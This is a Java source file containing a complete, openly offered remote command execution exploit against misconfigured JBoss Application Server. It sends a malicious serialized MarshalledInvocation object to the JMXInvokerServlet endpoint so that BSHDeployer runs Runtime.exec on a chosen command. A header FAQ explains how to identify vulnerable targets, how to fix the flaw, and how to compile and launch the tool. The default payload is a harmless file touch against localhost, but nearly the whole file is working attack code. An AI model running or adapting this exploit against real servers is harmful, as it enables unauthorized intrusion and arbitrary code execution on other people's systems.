/* * JBoss JMXInvokerServlet Remote Command Execution * JMXInvoker.java v0.3 - Luca Carettoni @_ikki * * This code exploits a common misconfiguration in JBoss Application Server (4.x, 5.x, ...). * Whenever the JMX Invoker is exposed with the default configuration, a malicious "MarshalledInvocation" * serialized Java object allows to execute arbitrary code. This exploit works even if the "Web-Console" * and the "JMX Console" are protected or disabled. * * [FAQ] * * Q: Is my target vulnerable? * A: If http://<target>:8080/invoker/JMXInvokerServlet exists, it's likely exploitable * * Q: How to fix it? * A: Enable authentication in "jmx-invoker-service.xml" * * Q: Is this exploit version-dependent? * A: Unfortunately, yes. An hash value is used to properly invoke a method. * At least comparing version 4.x and 5.x, these hashes are different. * * Q: How to compile and launch it? * A: javac -cp ./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker.java * java -cp .:./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker * Yes, it's a Java exploit. I can already see some of you complaining.... */ import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.ConnectException; import java.net.HttpURLConnection; import java.net.URL; import javax.management.MalformedObjectNameException; import javax.management.ObjectName; import org.jboss.invocation.MarshalledInvocation; //within jboss.jar (look into the original JBoss installation dir) public class JMXInvokerServlet { //---------> CHANGE ME <--------- static final int hash = 647347722; //Weaponized against JBoss 4.0.3SP1 static final String url = "http://127.0.0.1:8080/invoker/JMXInvokerServlet"; static final String cmd = "touch /tmp/exectest"; //------------------------------- public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, MalformedObjectNameException { System.out.println("\n--[ JBoss JMXInvokerServlet Remote Command Execution ]"); //Create a malicious Java serialized object MarshalledInvocation payload = new MarshalledInvocation(); payload.setObjectName(new Integer(hash)); //Executes the MBean invoke operation Class<?> c = Class.forName("javax.management.MBeanServerConnection"); Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class); payload.setMethod(method); //Define MBean's name, operation and pars Object myObj[] = new Object[4]; //MBean object name myObj[0] = new ObjectName("jboss.deployer:service=BSHDeployer"); //Operation name myObj[1] = new String("createScriptDeployment"); //Actual parameters myObj[2] = new String[]{"Runtime.getRuntime().exec(\"" + cmd + "\");", "Script Name"}; //Operation signature myObj[3] = new String[]{"java.lang.String", "java.lang.String"}; payload.setArguments(myObj); System.out.println("\n--[*] MarshalledInvocation object created"); //For debugging - visualize the raw object //System.out.println(dump(payload)); //Serialize the object try { //Send the payload URL server = new URL(url); HttpURLConnection conn = (HttpURLConnection) server.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setDoInput(true); conn.setUseCaches(false); conn.setRequestProperty("Accept", "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"); conn.setRequestProperty("Connection", "keep-alive"); conn.setRequestProperty("User-Agent", "Java/1.6.0_06"); conn.setRequestProperty("Content-Type", "application/octet-stream"); conn.setRequestProperty("Accept-Encoding", "x-gzip,x-deflate,gzip,deflate"); conn.setRequestProperty("ContentType", "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation"); ObjectOutputStream wr = new ObjectOutputStream(conn.getOutputStream()); wr.writeObject(payload); System.out.println("\n--[*] MarshalledInvocation object serialized"); System.out.println("\n--[*] Sending payload..."); wr.flush(); wr.close(); //Get the response InputStream is = conn.getInputStream(); BufferedReader rd = new BufferedReader(new InputStreamReader(is)); String line; StringBuffer response = new StringBuffer(); while ((line = rd.readLine()) != null) { response.append(line); } rd.close(); if (response.indexOf("Script Name") != -1) { System.out.println("\n--[*] \"" + cmd + "\" successfully executed"); } else { System.out.println("\n--[!] An invocation error occured..."); } } catch (ConnectException cex) { System.out.println("\n--[!] A connection error occured..."); } catch (IOException ex) { ex.printStackTrace(); } } /* * Raw dump of generic Java Objects */ static String dump(Object o) { StringBuffer buffer = new StringBuffer(); Class oClass = o.getClass(); if (oClass.isArray()) { buffer.append("["); for (int i = 0; i < Array.getLength(o); i++) { if (i > 0) { buffer.append(",\n"); } Object value = Array.get(o, i); buffer.append(value.getClass().isArray() ? dump(value) : value); } buffer.append("]"); } else { buffer.append("{"); while (oClass != null) { Field[] fields = oClass.getDeclaredFields(); for (int i = 0; i < fields.length; i++) { if (buffer.length() > 1) { buffer.append(",\n"); } fields[i].setAccessible(true); buffer.append(fields[i].getName()); buffer.append("="); try { Object value = fields[i].get(o); if (value != null) { buffer.append(value.getClass().isArray() ? dump(value) : value); } } catch (IllegalAccessException e) { } } oClass = oClass.getSuperclass(); } buffer.append("}"); } return buffer.toString(); } }